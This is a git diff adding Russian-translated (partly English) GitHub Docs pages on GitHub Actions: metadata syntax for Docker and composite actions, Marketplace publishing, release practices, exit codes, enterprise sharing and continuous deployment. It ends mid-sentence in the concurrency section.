docker://gcr.io/cloud-builders/gradle + # Reference a docker image published on docker hub + - uses: docker://alpine:3.8 +``` + +#### `runs.steps[*].with` + +**Optional** A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. For more information, see [Example: Specifying inputs](#example-specifying-inputs). + +```yaml +runs: + using: "composite" + steps: + - name: My first step + uses: actions/hello_world@main + with: + first_name: Mona + middle_name: The + last_name: Octocat +``` + +{% ifversion ghes > 3.5 or ghae > 3.5 %} + +#### `runs.steps[*].continue-on-error` + +**Optional** Prevents the action from failing when a step fails. Set to `true` to allow the action to pass when this step fails. + +{% endif %} + +## `runs` for Docker container actions + +**Required** Configures the image used for the Docker container action. + +### Example: Using a Dockerfile in your repository + +```yaml +runs: + using: 'docker' + image: 'Dockerfile' +``` + +### Example: Using public Docker registry container + +```yaml +runs: + using: 'docker' + image: 'docker://debian:stretch-slim' +``` + +### `runs.using` + +**Required** You must set this value to `'docker'`. + +### `runs.pre-entrypoint` + +**Optional** Allows you to run a script before the `entrypoint` action begins. For example, you can use `pre-entrypoint:` to run a prerequisite setup script. {% data variables.product.prodname_actions %} uses `docker run` to launch this action, and runs the script inside a new container that uses the same base image. This means that the runtime state is different from the main `entrypoint` container, and any states you require must be accessed in either the workspace, `HOME`, or as a `STATE_` variable. The `pre-entrypoint:` action always runs by default but you can override this using [`runs.pre-if`](#runspre-if). + +The runtime specified with the [`using`](#runsusing) syntax will execute this file. + +In this example, the `pre-entrypoint:` action runs a script called `setup.sh`: + +```yaml +runs: + using: 'docker' + image: 'Dockerfile' + args: + - 'bzz' + pre-entrypoint: 'setup.sh' + entrypoint: 'main.sh' +``` + +### `runs.image` + +**Required** The Docker image to use as the container to run the action. The value can be the Docker base image name, a local `Dockerfile` in your repository, or a public image in Docker Hub or another registry. To reference a `Dockerfile` local to your repository, the file must be named `Dockerfile` and you must use a path relative to your action metadata file. The `docker` application will execute this file. + +### `runs.env` + +**Optional** Specifies a key/value map of environment variables to set in the container environment. + +### `runs.entrypoint` + +**Optional** Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Use `entrypoint` when the `Dockerfile` does not specify an `ENTRYPOINT` or you want to override the `ENTRYPOINT` instruction. If you omit `entrypoint`, the commands you specify in the Docker `ENTRYPOINT` instruction will execute. The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction. + +For more information about how the `entrypoint` executes, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)." + +### `runs.post-entrypoint` + +**Optional** Allows you to run a cleanup script once the `runs.entrypoint` action has completed. {% data variables.product.prodname_actions %} uses `docker run` to launch this action. Because {% data variables.product.prodname_actions %} runs the script inside a new container using the same base image, the runtime state is different from the main `entrypoint` container. You can access any state you need in either the workspace, `HOME`, or as a `STATE_` variable. The `post-entrypoint:` action always runs by default but you can override this using [`runs.post-if`](#runspost-if). + +```yaml +runs: + using: 'docker' + image: 'Dockerfile' + args: + - 'bzz' + entrypoint: 'main.sh' + post-entrypoint: 'cleanup.sh' +``` + +### `runs.args` + +**Optional** An array of strings that define the inputs for a Docker container. Inputs can include hardcoded strings. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. + +The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference: + +{% data reusables.actions.dockerfile-guidelines %} + +If you need to pass environment variables into an action, make sure your action runs a command shell to perform variable substitution. For example, if your `entrypoint` attribute is set to `"sh -c"`, `args` will be run in a command shell. Alternatively, if your `Dockerfile` uses an `ENTRYPOINT` to run the same command (`"sh -c"`), `args` will execute in a command shell. + +For more information about using the `CMD` instruction with {% data variables.product.prodname_actions %}, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)." + +#### Example: Defining arguments for the Docker container + +{% raw %} +```yaml +runs: + using: 'docker' + image: 'Dockerfile' + args: + - ${{ inputs.greeting }} + - 'foo' + - 'bar' +``` +{% endraw %} + +## `branding` + +**Optional** You can use a color and [Feather](https://feathericons.com/) icon to create a badge to personalize and distinguish your action. Badges are shown next to your action name in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions). + +### Example: Configuring branding for an action + +```yaml +branding: + icon: 'award' + color: 'green' +``` + +### `branding.color` + +The background color of the badge. Can be one of: `white`, `yellow`, `blue`, `green`, `orange`, `red`, `purple`, or `gray-dark`. + +### `branding.icon` + +The name of the v4.28.0 [Feather](https://feathericons.com/) icon to use. Brand icons are omitted as well as the following: + + + + + + + + + + + + + + + + + + + + + + + + + + +
coffeecolumnsdivide-circledivide-square
dividefrownhexagonkey
mehmouse-pointersmiletool
x-octagon
+ +Here is an exhaustive list of all currently supported icons: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
activityairplayalert-circlealert-octagon
alert-trianglealign-centeralign-justifyalign-left
align-rightanchoraperturearchive
arrow-down-circlearrow-down-leftarrow-down-rightarrow-down
arrow-left-circlearrow-leftarrow-right-circlearrow-right
arrow-up-circlearrow-up-leftarrow-up-rightarrow-up
at-signawardbar-chart-2bar-chart
battery-chargingbatterybell-offbell
bluetoothboldbook-openbook
bookmarkboxbriefcasecalendar
camera-offcameracastcheck-circle
check-squarecheckchevron-downchevron-left
chevron-rightchevron-upchevrons-downchevrons-left
chevrons-rightchevrons-upcircleclipboard
clockcloud-drizzlecloud-lightningcloud-off
cloud-raincloud-snowcloudcode
commandcompasscopycorner-down-left
corner-down-rightcorner-left-downcorner-left-upcorner-right-down
corner-right-upcorner-up-leftcorner-up-rightcpu
credit-cardcropcrosshairdatabase
deletediscdollar-signdownload-cloud
downloaddropletedit-2edit-3
editexternal-linkeye-offeye
fast-forwardfeatherfile-minusfile-plus
file-textfilefilmfilter
flagfolder-minusfolder-plusfolder
giftgit-branchgit-commitgit-merge
git-pull-requestglobegridhard-drive
hashheadphoneshearthelp-circle
homeimageinboxinfo
italiclayerslayoutlife-buoy
link-2linklistloader
locklog-inlog-outmail
map-pinmapmaximize-2maximize
menumessage-circlemessage-squaremic-off
micminimize-2minimizeminus-circle
minus-squareminusmonitormoon
more-horizontalmore-verticalmovemusic
navigation-2navigationoctagonpackage
paperclippause-circlepausepercent
phone-callphone-forwardedphone-incomingphone-missed
phone-offphone-outgoingphonepie-chart
play-circleplayplus-circleplus-square
pluspocketpowerprinter
radiorefresh-ccwrefresh-cwrepeat
rewindrotate-ccwrotate-cwrss
savescissorssearchsend
serversettingsshare-2share
shield-offshieldshopping-bagshopping-cart
shufflesidebarskip-backskip-forward
slashsliderssmartphonespeaker
squarestarstop-circlesun
sunrisesunsettablettag
targetterminalthermometerthumbs-down
thumbs-uptoggle-lefttoggle-righttrash-2
trashtrending-downtrending-uptriangle
trucktvtypeumbrella
underlineunlockupload-cloudupload
user-checkuser-minususer-plususer-x
userusersvideo-offvideo
voicemailvolume-1volume-2volume-x
volumewatchwifi-offwifi
windx-circlex-squarex
zap-offzapzoom-inzoom-out
diff --git a/translations/ru-RU/content/actions/creating-actions/publishing-actions-in-github-marketplace.md b/translations/ru-RU/content/actions/creating-actions/publishing-actions-in-github-marketplace.md new file mode 100644 index 000000000000..aad9d13c02e5 --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/publishing-actions-in-github-marketplace.md @@ -0,0 +1,72 @@ +--- +title: Публикация действий в GitHub Marketplace +intro: 'Вы можете публиковать действия в {% data variables.product.prodname_marketplace %} и предоставлять общий доступ к созданным действиям в сообществе {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/publishing-actions-in-github-marketplace + - /actions/automating-your-workflow-with-github-actions/publishing-actions-in-github-marketplace + - /actions/building-actions/publishing-actions-in-github-marketplace +versions: + fpt: '*' + ghec: '*' +type: how_to +shortTitle: Publish in GitHub Marketplace +ms.openlocfilehash: e16f65116d7aa7c327e937dc2eba8964195e547d +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884304' +--- +Для публикации действий в {% data variables.product.prodname_marketplace %} необходимо принять условия предоставления услуг. + +## Сведения о публикации действий + +Перед публикацией действия необходимо создать его в репозитории. Дополнительные сведения см. в статье "[Создание действий](/actions/creating-actions)". + +При планировании публикации действия в {% data variables.product.prodname_marketplace %} необходимо убедиться в том, что в репозитории содержатся только файл метаданных, код и файлы, необходимые для действия. Создание отдельного репозитория для действия позволяет пометить, выпустить и упаковать код в одном блоке. На {% data variables.product.prodname_dotcom %} метаданные действия также используются на странице {% data variables.product.prodname_marketplace %}. + +Действия публикуются в {% data variables.product.prodname_marketplace %} немедленно и не проверяются {% data variables.product.prodname_dotcom %} при условии соответствия следующим требованиям: + +- Действие должно находиться в общедоступном репозитории. +- Каждый репозиторий должен содержать одно действие. +- Файл метаданных действия (`action.yml` или `action.yaml`) должен находиться в корневом каталоге репозитория. +- Атрибут `name` в файле метаданных действия должен быть уникальным. + - Атрибут `name` не может совпадать с именем существующего действия, опубликованного в {% data variables.product.prodname_marketplace %}. + - Атрибут `name` не может совпадать с именем пользователя или организации на {% data variables.product.prodname_dotcom %}, если это действие не публикует пользователь или владелец организации. Например, только организация {% data variables.product.prodname_dotcom %} может опубликовать действие с именем `github`. + - Атрибут `name` не должен совпадать с существующей категорией {% data variables.product.prodname_marketplace %}. + - Имена функций {% data variables.product.prodname_dotcom %} на {% data variables.product.prodname_dotcom %} зарезервированы. + +## Публикация действия + +Вы можете добавить созданное вами действие в {% data variables.product.prodname_marketplace %}, пометив его как новый выпуск и опубликовав. + +Чтобы создать черновик нового выпуска и опубликовать действие в {% data variables.product.prodname_marketplace %}, выполните приведенные ниже инструкции. + +{% data reusables.repositories.navigate-to-repo %} +1. Перейдите к файлу метаданных действия в вашем репозитории (`action.yml` или `action.yaml`), и вы увидите баннер для публикации действия в {% data variables.product.prodname_marketplace %}. Нажмите кнопку **Создать черновик выпуска**. + + ![Кнопка публикации действия в Marketplace](/assets/images/help/repository/publish-github-action-to-marketplace-button.png) +1. В разделе "Действие выпуска" установите флажок для публикации действия в {% data variables.product.prodname_marketplace %}. Если вы не можете установить флажок, сначала перейдите по ссылке, чтобы прочитать и принять {% data variables.product.prodname_marketplace %} Соглашение разработчика. +![Выберите публикацию в Marketplace](/assets/images/help/repository/marketplace_actions_publish.png) +1. Если метки в файле метаданных содержат какие-либо проблемы, появится сообщение об ошибке. +![См. уведомление](/assets/images/help/repository/marketplace_actions_fixerrors.png) +1. Если вы увидите какие-либо предложения на экране, внесите соответствующие изменения в файл метаданных. По завершении вы увидите сообщение "Все в порядке!" . +![Исправление ошибок](/assets/images/help/repository/marketplace_actions_looksgood.png) +1. Выберите основную категорию и при необходимости дополнительную категорию, чтобы пользователям было проще найти ваше действие в {% data variables.product.prodname_marketplace %}. +![Выбор категории](/assets/images/help/repository/marketplace_actions_categories.png) +1. Добавьте к действию тег версии и заголовок выпуска. Это поможет пользователям узнать, какие изменения или функции включены в выпуск. Пользователи будут видеть версию на странице действия в {% data variables.product.prodname_marketplace %}. +![Пометка версии](/assets/images/help/repository/marketplace_actions_version.png) +1. Заполните остальные поля и щелкните **Опубликовать выпуск**. Для публикации необходимо использовать двухфакторную проверку подлинности. Подробнее: [Настройка двухфакторной проверки подлинности](/articles/configuring-two-factor-authentication/). +![Публикация выпуска](/assets/images/help/repository/marketplace_actions_publishrelease.png) + +## Удаление действия из {% data variables.product.prodname_marketplace %} + +Чтобы удалить опубликованное действие из {% data variables.product.prodname_marketplace %}, необходимо обновить каждый опубликованный выпуск. Выполните указанные ниже действия для каждого выпуска действия, опубликованного в {% data variables.product.prodname_marketplace %}. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %} +3. На странице "Выпуски" справа от выпуска, который нужно изменить, нажмите кнопку **Изменить**. +![Кнопка изменения выпуска](/assets/images/help/releases/release-edit-btn.png) +4. Выберите **Опубликовать это действие в {% data variables.product.prodname_marketplace %}** , чтобы снять флажок. +![Кнопка "Опубликовать это действие"](/assets/images/help/repository/actions-marketplace-unpublish.png) +5. В нижней части страницы щелкните **Обновить выпуск**. +![Кнопка "Обновить выпуск"](/assets/images/help/repository/actions-marketplace-update-release.png) diff --git a/translations/ru-RU/content/actions/creating-actions/releasing-and-maintaining-actions.md b/translations/ru-RU/content/actions/creating-actions/releasing-and-maintaining-actions.md new file mode 100644 index 000000000000..0e0ca3ac6cf5 --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/releasing-and-maintaining-actions.md @@ -0,0 +1,100 @@ +--- +title: Выпуск и обслуживание действий +shortTitle: Release and maintain actions +intro: Вы можете использовать автоматизацию и рекомендации с открытым кодом по выпуску и обслуживанию действий. +type: tutorial +topics: + - Action development + - Actions + - Community +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +ms.openlocfilehash: 49e1da781c5e223e229f097dc04b8bd49bbb64ba +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009983' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +После создания действия вы захотите продолжить выпуск новых функций при работе с вкладами от участников сообщества. В этом учебнике описан пример процесса выпуска и обслуживания действий с открытым кодом. Пример. + +* Использует {% data variables.product.prodname_actions %} для непрерывной интеграции, обновлений зависимостей, управления выпусками и автоматизации задач. +* Обеспечивает надежность с помощью автоматических тестов и индикаторов сборки. +* Указывает, как можно использовать действие, желательно в рамках более широкого рабочего процесса. +* Сообщите, какой тип вкладов от участников сообщества вы приветствуете. (Например, проблемы, запросы на вытягивание или отчеты об уязвимостях.) + +Пример этого процесса см. здесь: [github-developer/javascript-action](https://github.com/github-developer/javascript-action). + +## Разработка и выпуск действий + +В этом разделе мы рассмотрим пример процесса разработки и выпуска действий и покажем, как использовать {% data variables.product.prodname_actions %} для его автоматизации. + +### Сведения о действиях JavaScript + +Действия JavaScript — это репозитории Node.js с метаданными. Однако действия JavaScript имеют дополнительные свойства по сравнению с традиционными проектами Node.js: + +* Зависимые пакеты фиксируются вместе с кодом, обычно в скомпилированной и минифицированной форме. Это означает, что автоматизированные сборки и безопасные вклады сообщества важны. + +{% ifversion fpt or ghec %} + +* Выпуски с тегами можно публиковать непосредственно в {% data variables.product.prodname_marketplace %} и использовать в рабочих процессах в {% data variables.product.prodname_dotcom %}. + +{% endif %} + +* Многие действия используют программные интерфейсы {% data variables.product.prodname_dotcom %} и сторонние API, поэтому мы рекомендуем комплексное тестирование. + +### Настройка рабочих процессов {% data variables.product.prodname_actions %} + +Для поддержки процесса разработки, описанного в следующем разделе, добавьте в репозиторий два рабочих процесса с данными {% data variables.product.prodname_actions %}. + +1. Добавьте рабочий процесс, который активируется при отправке фиксации в ветвь компонента или в `main`, а также при создании запроса на вытягивание. Настройте рабочий процесс, чтобы он выполнял модульные и интеграционные тесты. В качестве примера ознакомьтесь с [этим рабочим процессом](https://github.com/github-developer/javascript-action/blob/963a3b9a9c662fd499419a240ed8c49411ff5add/.github/workflows/test.yml). +2. Добавьте рабочий процесс, который активируется при публикации или редактировании выпуска. Настройте рабочий процесс, чтобы обеспечить наличие семантических тегов. Вы можете использовать действие, например [JasonEtco/build-and-tag-action](https://github.com/JasonEtco/build-and-tag-action), для компиляции и объединения файла JavaScript и метаданных, а также принудительной отправки семантических тегов основных версий, дополнительных версий и исправлений. В качестве примера ознакомьтесь с [этим рабочим процессом](https://github.com/github-developer/javascript-action/blob/963a3b9a9c662fd499419a240ed8c49411ff5add/.github/workflows/publish.yml). Дополнительные сведения о семантических тегах см. в статье [Сведения о семантическом управлении версиями](https://docs.npmjs.com/about-semantic-versioning). + +### Пример процесса разработчика + +Ниже приведен пример процесса, который можно выполнить для автоматического выполнения тестов, создания выпуска{% ifversion fpt or ghec%} и публикации в {% data variables.product.prodname_marketplace %}{% endif %}, а также публикации действия. + +1. Выполняйте работу над функциями в ветвях согласно стандартному процессу работы с GitHub. Дополнительные сведения см. в разделе [Процесс работы с GitHub](/get-started/quickstart/github-flow). + * При отправке фиксации в ветвь функции рабочий процесс тестирования будет автоматически выполнять тесты. + +2. Создавайте запросы на вытягивание из ветви `main`, чтобы инициировать обсуждение и проверку, а по завершении выполните слияние ветви. + + * При открытии запроса на вытягивание из ветви или вилки рабочий процесс тестирования снова выполнит тесты, на этот раз с фиксацией слияния. + + * **Примечание.** По соображениям безопасности рабочие процессы, активированные `pull_request` из вилок, имеют ограниченные разрешения `GITHUB_TOKEN` и не имеют доступа к секретам. Если тесты или другие рабочие процессы, активированные при запросе на вытягивание, требуют доступа к секретам, рассмотрите возможность использования другого события, например [ручного триггера](/actions/reference/events-that-trigger-workflows#manual-events) или [`pull_request_target`](/actions/reference/events-that-trigger-workflows#pull_request_target). Дополнительные сведения см. [здесь](/actions/reference/events-that-trigger-workflows#pull-request-events-for-forked-repositories). + +3. Создайте выпуск с семантическими тегами. {% ifversion fpt or ghec %} Вы также можете опубликовать в {% data variables.product.prodname_marketplace %} с помощью простого флажка. {% endif %} Дополнительные сведения приведены в статье [Управление выпусками в репозитории](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release){% ifversion fpt or ghec %} и [Публикация действий в {% data variables.product.prodname_marketplace %}](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)"{% endif %}. + + * При публикации или изменении выпуска рабочий процесс выпуска будет автоматически выполнять компиляцию и настройку тегов. + + * Рекомендуем создавать выпуски с использованием тегов с семантическими версиями, например `v1.1.3`, и сохранять теги основной версии (`v1`) и дополнительной версии (`v1.1`) в соответствии с последней успешной фиксацией. Дополнительные сведения см. в статье [Сведения о настраиваемых действиях](/actions/creating-actions/about-custom-actions#using-release-management-for-actions) и [Сведения о семантическом управлении версиями](https://docs.npmjs.com/about-semantic-versioning). + +### Результаты + +В отличие от некоторых других стратегий автоматического управления выпусками, этот процесс намеренно не фиксирует зависимости в ветви `main`, а только в фиксации выпусков с тегами. Таким образом, вы призываете пользователей вашего действия ссылаться на именованные теги или `sha`, и помогаете обеспечить безопасность сторонних запросов на вытягивание, выполняя сборку самостоятельно во время выпуска. + +Использование семантических выпусков означает, что пользователи ваших действий могут закреплять рабочие процессы в версии и быть уверенными, что они будут и дальше получать последние стабильные функции без критических изменений в зависимости от того, что им подходит: + +## Работа с сообществом + +{% data variables.product.product_name %} предоставляет инструменты и руководства для работы с сообществом открытого кода. Ниже приведено несколько средств, которые рекомендуется настроить для эффективной двухсторонней связи. Предоставляя следующие сигналы сообществу, вы побуждаете других пользователей использовать и изменять ваше действие и вносить свой вклад в его разработку: + +* Приводите в `README` большое количество примеров использования и рекомендаций. Дополнительные сведения см. в статье [О файлах README](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). +* Включите значок состояния рабочего процесса в файл `README`. Дополнительные сведения см. в статье [Добавление индикатора состояния рабочего процесса](/actions/managing-workflow-runs/adding-a-workflow-status-badge). Кроме того, посетите [shields.io](https://shields.io/), чтобы узнать о других значках, которые можно добавить.{% ifversion fpt or ghec %} +* Добавьте файлы с правилами взаимодействия и работы членов сообщества, такие как `CODE_OF_CONDUCT`, `CONTRIBUTING` и `SECURITY`. Дополнительные сведения см. в статье [Создание файла по умолчанию с правилами взаимодействия и работы членов сообщества](/github/building-a-strong-community/creating-a-default-community-health-file#supported-file-types).{% endif %} +* Поддерживайте проблемы в актуальном состоянии, используя такие действия, как [actions/stale](https://github.com/actions/stale). + +## Дополнительные материалы + +Примеры, в которых используются аналогичные шаблоны: + +* [github/super-linter](https://github.com/github/super-linter) +* [octokit/request-action](https://github.com/octokit/request-action) +* [github-developer/javascript-action](https://github.com/github-developer/javascript-action) diff --git a/translations/ru-RU/content/actions/creating-actions/setting-exit-codes-for-actions.md b/translations/ru-RU/content/actions/creating-actions/setting-exit-codes-for-actions.md new file mode 100644 index 000000000000..13b965576353 --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/setting-exit-codes-for-actions.md @@ -0,0 +1,56 @@ +--- +title: Настройка кодов выхода для действий +shortTitle: Set exit codes +intro: 'Можно использовать коды выхода для настройки состояния действия. {% data variables.product.prodname_dotcom %} отображает состояния, указывающие на действия, которые прошли и не прошли проверку.' +redirect_from: + - /actions/building-actions/setting-exit-codes-for-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +ms.openlocfilehash: 394b17dc03c4998797df222fe7c81c3269003ec9 +ms.sourcegitcommit: d3929a033c42c99b153910685256d079d7d87467 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114280' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Сведения о кодах выхода + +{% data variables.product.prodname_dotcom %} использует код выхода, чтобы задать состояние выполнения проверки для действия, которое может иметь значение `success` или `failure`. + +Состояние выхода | Состояние проверки выполнения | Описание +------------|------------------|------------ +`0` | `success` | Действие успешно завершено, и могут начаться другие задачи, которые от него зависят. +Ненулевое значение (любое целое число, кроме 0)| `failure` | Любой другой код выхода указывает на сбой действия. При сбое действия все параллельные действия отменяются, а будущие действия пропускаются. Выполнение проверки и набор проверки получают состояние `failure`. + +## Задание кода выхода при сбое в действии JavaScript + +При создании действия JavaScript можно использовать пакет [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) набора средств действий для записи сообщения в журнал и задания кода выхода при сбое (failure). Пример: + +```javascript +try { + // something +} catch (error) { + core.setFailed(error.message); +} +``` + +Дополнительные сведения см. в разделе [Создание действия JavaScript](/articles/creating-a-javascript-action). + +## Задание кода выхода при сбое в действии контейнера Docker + +Если вы создаете действие контейнера Docker, в скрипте `entrypoint.sh` можно задать код выхода при сбое. Пример: + +``` +if ; then + echo "Game over!" + exit 1 +fi +``` + +Дополнительные сведения см. в разделе [Создание действия контейнера Docker](/articles/creating-a-docker-container-action). diff --git a/translations/ru-RU/content/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise.md b/translations/ru-RU/content/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise.md new file mode 100644 index 000000000000..51691d8f3d59 --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise.md @@ -0,0 +1,38 @@ +--- +title: Совместное использование действий и рабочих процессов с вашим предприятием +intro: 'Вы можете предоставить общий доступ к действию или рабочему процессу своему предприятию, не публикуя это действие или рабочий процесс.' +versions: + feature: internal-actions +type: tutorial +topics: + - Actions + - Action development +shortTitle: Share with your enterprise +ms.openlocfilehash: 90541af9dfbb3c5f8ea2384de4a291336951434f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145069952' +--- +## О доступе {% data variables.product.prodname_actions %} к внутренним репозиториям + +Если ваша организация принадлежит корпоративной учетной записи, вы можете совместно использовать действия и рабочие процессы внутри вашего предприятия, не публикуя действие или рабочий процесс, предоставив рабочим процессам {% data variables.product.prodname_actions %} доступ к внутреннему репозиторию, содержащему действие. или рабочий процесс. + +Любые действия или рабочие процессы, хранящиеся во внутреннем репозитории, можно использовать в рабочих процессах, определенных в других частных и внутренних репозиториях, принадлежащих той же организации или любой организации, принадлежащей предприятию. Действия и рабочие процессы, хранящиеся во внутренних репозиториях, нельзя использовать в общедоступных репозиториях. + +{% warning %} + +**Предупреждение**. {% data reusables.actions.outside-collaborators-internal-actions %} + +{% endwarning %} + +## Совместное использование действий и рабочих процессов с вашим предприятием + +1. Храните действие или рабочий процесс во внутреннем репозитории. Дополнительные сведения см. в разделе [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories). +1. Настройте репозиторий, чтобы разрешить доступ к рабочим процессам в других частных и внутренних репозиториях. Дополнительные сведения см. в разделе [Управление параметрами {% data variables.product.prodname_actions %} для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository). + +## Дополнительные материалы + +- [О корпоративных учетных записях](/admin/overview/about-enterprise-accounts) +- [Повторное использование рабочих процессов](/actions/using-workflows/reusing-workflows) diff --git a/translations/ru-RU/content/actions/deployment/about-deployments/about-continuous-deployment.md b/translations/ru-RU/content/actions/deployment/about-deployments/about-continuous-deployment.md new file mode 100644 index 000000000000..8d6cd2b121fe --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/about-deployments/about-continuous-deployment.md @@ -0,0 +1,51 @@ +--- +title: About continuous deployment +intro: 'You can create custom continuous deployment (CD) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +redirect_from: + - /actions/deployment/about-continuous-deployment +topics: + - CD +shortTitle: About continuous deployment +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About continuous deployment + +_Continuous deployment_ (CD) is the practice of using automation to publish and deploy software updates. As part of the typical CD process, the code is automatically built and tested before deployment. + +Continuous deployment is often coupled with continuous integration. For more information about continuous integration, see "[About continuous integration](/actions/guides/about-continuous-integration)". + +## About continuous deployment using {% data variables.product.prodname_actions %} + +You can set up a {% data variables.product.prodname_actions %} workflow to deploy your software product. To verify that your product works as expected, your workflow can build the code in your repository and run your tests before deploying. + +You can configure your CD workflow to run when a {% data variables.product.product_name %} event occurs (for example, when new code is pushed to the default branch of your repository), on a set schedule, manually, or when an external event occurs using the repository dispatch webhook. For more information about when your workflow can run, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." + +{% data variables.product.prodname_actions %} provides features that give you more control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets. You can use concurrency to limit your CD pipeline to a maximum of one in-progress deployment and one pending deployment. For more information about these features, see "[Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." + +{% ifversion fpt or ghec or ghes > 3.4 %} + +## Using OpenID Connect to access cloud resources + +{% data reusables.actions.about-oidc-short-overview %} + +{% endif %} + +## Starter workflows and third party actions + +{% data reusables.actions.cd-templates-actions %} + +## Further reading + +- [Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions) +- [Using environments for deployment](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %} +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"{% endif %} + diff --git a/translations/ru-RU/content/actions/deployment/about-deployments/deploying-with-github-actions.md b/translations/ru-RU/content/actions/deployment/about-deployments/deploying-with-github-actions.md new file mode 100644 index 000000000000..31f3680e14ec --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/about-deployments/deploying-with-github-actions.md @@ -0,0 +1,173 @@ +--- +title: Deploying with GitHub Actions +intro: Learn how to control deployments with features like environments and concurrency. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +redirect_from: + - /actions/deployment/deploying-with-github-actions +topics: + - CD +shortTitle: Deploy with GitHub Actions +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +{% data variables.product.prodname_actions %} offers features that let you control deployments. You can: + +- Trigger workflows with a variety of events. +- Configure environments to set rules before a job can proceed and to limit access to secrets. +- Use concurrency to control the number of deployments running at a time. + +For more information about continuous deployment, see "[About continuous deployment](/actions/deployment/about-continuous-deployment)." + +## Prerequisites + +You should be familiar with the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + +## Triggering your deployment + +You can use a variety of events to trigger your deployment workflow. Some of the most common are: `pull_request`, `push`, and `workflow_dispatch`. + +For example, a workflow with the following triggers runs whenever: + +- There is a push to the `main` branch. +- A pull request targeting the `main` branch is opened, synchronized, or reopened. +- Someone manually triggers it. + +```yaml +on: + push: + branches: + - main + pull_request: + branches: + - main + workflow_dispatch: +``` + +For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." + +## Using environments + +{% data reusables.actions.about-environments %} + +## Using concurrency + +Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. You can use concurrency so that an environment has a maximum of one deployment in progress and one deployment pending at a time. + +{% note %} + +**Note:** `concurrency` and `environment` are not connected. The concurrency value can be any string; it does not need to be an environment name. Additionally, if another workflow uses the same environment but does not specify concurrency, that workflow will not be subject to any concurrency rules. + +{% endnote %} + +For example, when the following workflow runs, it will be paused with the status `pending` if any job or workflow that uses the `production` concurrency group is in 